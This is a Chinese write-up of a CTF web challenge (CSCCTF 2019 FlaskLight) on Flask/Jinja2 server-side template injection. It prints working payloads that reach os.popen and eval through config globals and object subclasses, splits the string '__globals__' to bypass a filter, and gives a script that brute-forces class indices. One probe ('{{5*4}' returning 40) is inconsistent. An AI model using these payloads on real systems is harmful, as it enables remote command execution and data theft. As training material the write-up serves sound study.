WEB|[CSCCTF 2019 Qual]FlaskLight
查看网页源码提示GET方式传入search,结合网页内容显示有搜索内容和搜索结果处,应该是搜索内容然后显示,因为题目提示是flask想到flask模版的ssti
测试是否存在ssti
{{5*4}
返回40说明存在ssti
解法一:基于config的payload
测试config,回显成功,说明没有过滤config,可以使用基于config的payload
{{config.__init__['__globals__'].os.popen("whoami").read()}}
基于config的payload失败,前面测试了config没有过滤,应该globals被过滤了
拼接globals字符绕过
{{config.__init__['__glob'+'als__'].os.popen("whoami").read()}}
命令执行成功
查找flag文件,最终在/flasklight/coomme_geeeett_youur_flek中找到flag文件,读取flag文件
{{config.__init__['__glob'+'als__'].os.popen("cat /flasklight/coomme_geeeett_youur_flek").read()}}
flag{7b96ac57-d072-4808-b145-8719da96b14a}
解法一:查找可以使用的执行命的类
查看变量所属类
{{[].__class__}}
查看list所继承的基类
{{[].__class__.__base__}}
查看所有继承自object的类
{{[].__class__.__base__.__subclasses__()}}
在输出中寻找可以利用的类
不含os模块的类
这里以<class '_weakrefset._IterationGuard'>为例,它在继承自object的类第60位
不含os模块的类paylpad格式
# 60是第多少位,globals之后参数需要依次往下查找
{{[].__class__.__base__.__subclasses__()[60].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
__init__是类中的内置方法
__globals__是函数中的一个内置属性,以字典的形式返回当前空间的全局变量,而其中就能找到我们需要的目标模块"builtins",并不是每个类的__init__都拥有__globals__属性
__builtins__模块有很多常用的内置函数和类,包括eval函数
eval函数将参数字符串当成python代码执行
__import__相当于import,区别在于__import__引入模块后我们可以直接使用符号"."在引入带后面调用模块中的函数
popen函数返回结果是一个object,所以还需要read方法将结果读取出来
脚本测试适合的类
import requests
import time
for i in range(0,400):
url="http://619a0672-e499-4e41-af4d-692a4159609b.node4.buuoj.cn:81/?search={{[].__class__.__base__.__subclasses__()[%d].__init__['__glo'+'bals__']}}" % (i)
response=requests.get(url)
if '{' in response.text:
print(len(response.text),i,response.status_code)
time.sleep(0.3)
含os模块的类
以<class 'site._Printer'>为例,它在继承自object的类第71位
含os模块的类paylpad格式
# 71是第多少位
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
含os模块的类的__init__函数全局变量中已经导入了"os"模块所以直接调用
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步